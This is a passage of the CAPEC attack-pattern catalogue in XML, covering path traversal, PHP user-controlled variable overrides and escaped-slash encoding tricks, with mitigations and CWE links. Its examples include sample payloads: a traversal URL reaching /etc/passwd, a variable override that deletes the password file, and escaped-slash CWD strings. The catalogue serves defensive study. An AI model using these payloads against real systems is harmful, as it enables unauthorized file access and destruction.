			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>An example of using path traversal to attack some set of resources on
							a web server is to use a standard HTTP request</Text>
						<Text>http://example/../../../../../etc/passwd</Text>
						<Text>From an attacker point of view, this may be sufficient to gain access
							to the password file on a poorly protected system. If the attacker can
							list directories of critical resources then read only access is not
							sufficient to protect the system.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To identify file system entry point and execute against an
							overprivileged system interface</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Enforce principle of least privilege.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Ensure all input is validated, and does not contain file system
						commands</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Run server interfaces with a non-root account and/or utilize
						chroot jails or other configuration techniques to constrain privileges even
						if attacker gains some limited access to commands.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: For interactive user applications, consider if direct file system
						interface is necessary, instead consider having the application proxy
						communication.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform testing such as pentesting and vulnerability
						scanning to identify directories, programs, and interfaces that grant direct
						access to executables.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Payload delivered through standard communication protocols and inputs.</Text>
			</Injection_Vector>
			<Payload>
				<Text>File system commands and specifiers</Text>
			</Payload>
			<Activation_Zone>
				<Text>File system</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>File access or modification.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>23<!--Relative Path Traversal--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>22<!--Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>73<!--External Control of File Name or Path--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>77<!--Improper Neutralization of Special Elements used in a Command ('Command Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>346<!--Origin Validation Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>348<!--Use of Less Trusted Source--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>285<!--Improper Access Control (Authorization)--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>264<!--Permissions, Privileges, and Access Controls--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>272<!--Least Privilege Violation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>59<!--Improper Link Resolution Before File Access ('Link Following')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>15<!--External Control of System or Configuration Setting--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>715<!--OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>13<!--Subverting Environment Variable Values--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>137<!--Parameter Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>171<!--Variable Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name and
							Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="77" Name="Manipulating User-Controlled Variables"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack targets user controlled variables (DEBUG=1, PHP Globals, and
						So Forth). An attacker can override environment variables leveraging
						user-supplied, untrusted query variables directly used on the application
						server without any data sanitization. In extreme cases, the attacker can
						change variables controlling the business logic of the application. For
						instance, in languages like PHP, a number of poorly set default
						configurations may allow the user to override variables.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker communicates with the application
												server using a thin client (browser) or thick
												client.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>While communicating with the server, the attacker
												finds that she can control and override a variable
												consumed by the application server.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker overrides the variable and influences
												the normal behavior of the application
												server.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>A variable consumed by the application server is exposed to the
						client.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>A variable consumed by the application server can be overwritten by the
						user.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The application server trusts user supplied data to compute business
						logic.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The application server does not perform proper input validation.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Very High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>Attack Example: PHP Global Variables</Text_Title>
						<Text>PHP is a study in bad security. The main idea pervading PHP is "ease
							of use," and the mantra "don't make the developer go to any extra work
							to get stuff done" applies in all cases. This is accomplished in PHP by
							removing formalism from the language, allowing declaration of variables
							on first use, initializing everything with preset values, and taking
							every meaningful variable from a transaction and making it available. In
							cases of collision with something more technical, the simple almost
							always dominates in PHP.</Text>
						<Text>One consequence of all this is that PHP allows users of a Web
							application to override environment variables with user-supplied,
							untrusted query variables. Thus, critical values such as the CWD and the
							search path can be overwritten and directly controlled by a remote
							anonymous user.</Text>
						<Text>Another similar consequence is that variables can be directly
							controlled and assigned from the user-controlled values supplied in GET
							and POST request fields. So seemingly normal code like this, does
							bizarre things:</Text>
						<Block>
							<Code>while($count &lt; 10){</Code>
							<Code>// Do something</Code>
							<Code>$count++;</Code>
							<Code>}</Code>
						</Block>
						<Text>Normally, this loop will execute its body ten times. The first
							iteration will be an undefined zero, and further trips though the loop
							will result in an increment of the variable $count. The problem is that
							the coder does not initialize the variable to zero before entering the
							loop. This is fine because PHP initializes the variable on declaration.
							The result is code that seems to function, regardless of badness. The
							problem is that a user of the Web application can supply a request such
							as</Text>
						<Block>
							<Code>GET /login.php?count=9</Code>
						</Block>
						<Text>and cause $count to start out at the value 9, resulting in only one
							trip through the loop. Yerg.</Text>
						<Text>Depending on the configuration, PHP may accept user-supplied variables
							in place of environment variables. PHP initializes global variables for
							all process environment variables, such as $PATH and $HOSTNAME. These
							variables are of critical importance because they may be used in file or
							network operations. If an attacker can supply a new $PATH variable (such
							as PATH='/var'), the program may be exploitable.</Text>
						<Text>PHP may also take field tags supplied in GET/POST requests and
							transform them into global variables. This is the case with the $count
							variable we explored in our previous example.</Text>
						<Text>Consider another example of this problem in which a program defines a
							variable called $tempfile. An attacker can supply a new temp file such
							as $tempfile = "/etc/passwd". Then the temp file may get erased later
							via a call to unlink($tempfile);. Now the passwd file has been erased—a
							bad thing indeed on most OSs.</Text>
						<Text>Also consider that the use of include() and require() first search
							$PATH, and that using calls to the shell may execute crucial programs
							such as ls. In this way, ls may be "Trojaned" (the attacker can modify
							$PATH to cause a Trojan copy of ls to be loaded). This type of attack
							could also apply to loadable libraries if $LD_LIBRARY_PATH is
							modified.</Text>
						<Text>Finally, some versions of PHP may pass user data to syslog as a format
							string, thus exposing the application to a format string buffer
							overflow.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>File upload allows arbitrary file read by setting hidden form
								variables to match internal variable names (CVE-2000-0860)</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The malicious user can easily try some well known global variables and
							find one which matches.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker can use automated tools to probe for variables that she
							can control.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker can try to change the value of the variables that are
							exposed on the webpage's source code and send them back to the
							application server. Depending on what program is running on the
							application server, the attacker may know which variables should be
							targeted.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>The malicious user may try to guess a global variable just by blackbox
							testing at the request level. For instance it is possible to create a
							variable and assign it a value, then pass it along to the request made
							to the server.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Web penetration tool can be used to automate the discovery of client
							controlled global variables.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>A web penetration tool probing a web server may generate abnormal
							activities recorded on log files. Abnormal traffic such as a high number
							of request coming from the same client may also rise the warnings from a
							monitoring system or an intrusion detection tool.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Do not allow override of global variables and do Not Trust Global
						Variables.</Text>
					<Text>If the register_globals option is enabled, PHP will create global
						variables for each GET, POST, and cookie variable included in the HTTP
						request. This means that a malicious user may be able to set variables
						unexpectedly. For instance make sure that the server setting for PHP does
						not expose global variables.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>A software system should be reluctant to trust variables that have been
						initialized outside of its trust boundary. Ensure adequate checking is
						performed when relying on input from outside a trust boundary.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Separate the presentation layer and the business logic layer. Variables at
						the business logic layer should not be exposed at the presentation layer.
						This is to prevent computation of business logic from user controlled input
						data.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use encapsulation when declaring your variables. This is to lower the
						exposure of your variables.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Assume all input is malicious. Create a white list that defines all valid
						input to the software system based on the requirements specifications. Input
						that does not match against the white list should be rejected by the
						program.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The user controlled variable.</Text>
			</Injection_Vector>
			<Payload>
				<Text>The new value of the user controlled variable.</Text>
			</Payload>
			<Activation_Zone>
				<Text>The command or request interpreter on the server side is responsible for
					interpreting the global variables. Sometime the global variables are controlled
					by a setting. For instance in PHP, the boolean setting "register_globals"
					defines whether or not to register the EGPCS (Environment, GET, POST, Cookie,
					Server) variables as global variables. As of PHP 4.2.0, this settings defaults
					to off. This directive was removed in PHP 6.0.0.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Changing the value of a server side variable may have many outcomes. In
						the case of a DEBUG related variable, there will be an information leak
						problem. Some other impacts can be privilege escalation, data modification,
						etc. It really depends on what the variable controls. If a global variable
						is used for authentication, there may be a vulnerability of privilege
						escalation. Another common variation of this last problem is to implement a
						"Remember My Login" feature by storing a user identifier in a cookie,
						allowing users to change their cookie value to login as whomever they
						want.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>473<!--PHP External Variable Modification--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>15<!--External Control of System or Configuration Setting--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>285<!--Improper Access Control (Authorization)--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>302<!--Authentication Bypass by Assumed-Immutable Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>94<!--Failure to Control Generation of Code ('Code Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>96<!--Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>22<!--Exploiting Trust in Client (aka Make the Client Invisible)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>265<!--Global variable manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Global variables used on the server side should not be trusted.</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Overide of Global variables should not be allowed.</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Securing PHP: Step-by-Step, Artur Maj 2003-06-23,
							http://www.securityfocus.com/infocus/1706</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Ten Security Checks for PHP, Part 1 - by Clancy Malcolm,
							03/20/2003</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>"Chapter 29. Using Register Globals", from the Official PHP
							documentation: http://www.php.net/manual/en/security.globals.php</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-13</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name,
							Description and Related Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="78" Name="Using Escaped Slashes in Alternate Encoding"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack targets the use of the backslash in alternate encoding. An
						attacker can provide a backslash as a leading character and causes a parser
						to believe that the next character is special. This is called an escape. By
						using that trick, the attacker tries to exploit alternate ways to encode the
						same character which leads to filter problems and opens avenues to
						attack.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker can send input data to the host
												target (e.g., via http request or command line
												request</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker craft malicious input data which
												includes escaped slashes. The attacker may need
												multiple attempts before finding a successful
												combination.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The application accepts the backlash character as escape character.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The application server does incomplete input data decoding, filtering and
						validation.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>For example, the byte pair \0 might result in a single zero byte (a
							NULL) being sent. Another example is \t, which is sometimes converted
							into a tab character. There is often an equivalent encoding between the
							back slash and the escaped back slash. This means that \/ results in a
							single forward slash. A single forward slash also results in a single
							forward slash. The encoding looks like this:</Text>
						<Block>
							<Code>/ yields /</Code>
							<Code>\/ yields /</Code>
						</Block>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>Attack Example: Escaped Slashes in Alternate
							Encodings</Text_Title>
						<Text>An attack leveraging this pattern is very simple. If you believe the
							target may be filtering the slash, attempt to supply \/ and see what
							happens. Example command strings to try out include</Text>
						<Block>
							<Code>CWD ..\/..\/..\/..\/winnt</Code>
						</Block>
						<Text>which converts in many cases to</Text>
						<Block>
							<Code>CWD ../../../../winnt</Code>
						</Block>
						<Text>To probe for this kind of problem, a small C program that uses string
							output routines can be very useful. File system calls make excellent
							testing fodder. The simple snippet</Text>
						<Block>
							<Code>int main(int argc, char* argv[])</Code>
							<Code>{</Code>
							<Block>
								<Code>puts("\/ \\ \? \. \| ");</Code>
								<Code>return 0;</Code>
							</Block>
							<Code>}</Code>
						</Block>
						<Text>produces the output</Text>
						<Block>
							<Code>/ \ ? . |</Code>
						</Block>
						<Text>Clearly, the back slash is ignored, and thus we have hit on a number
							of alternative encodings to experiment with. Given our previous example,
							we can extend the attack to include other possibilities:</Text>
						<Block>
							<Code>CWD ..\?\?\?\?\/..\/..\/..\/winnt</Code>
							<Code>CWD \.\.\/\.\.\/\.\.\/\.\.\/winnt</Code>
							<Code>CWD ..\|\|\|\|\/..\/..\/..\/winnt</Code>
						</Block>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker can naively try backslash character and discover that the
							target host uses it as escape character.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker may need deep understanding of the host target in order
							to exploit the vulnerability. The attacker may also use automated tools
							to probe for this vulnerability.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>An attacker can manually inject backslash characters in the data sent
							to the target host and observe the results of the request.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>The attacker may also run scripts or automated tools against the
							target host to uncover a vulnerability related to the use of the
							backslash character.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>A attacker can use a fuzzer in order to probe for this vulnerability.
							The fuzzer should generate suspicious network activity noticeable by an
							intrusion detection system.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>Alternative method of data encoding can be used.</Text>
					</Description>
				</Obfuscation_Technique>
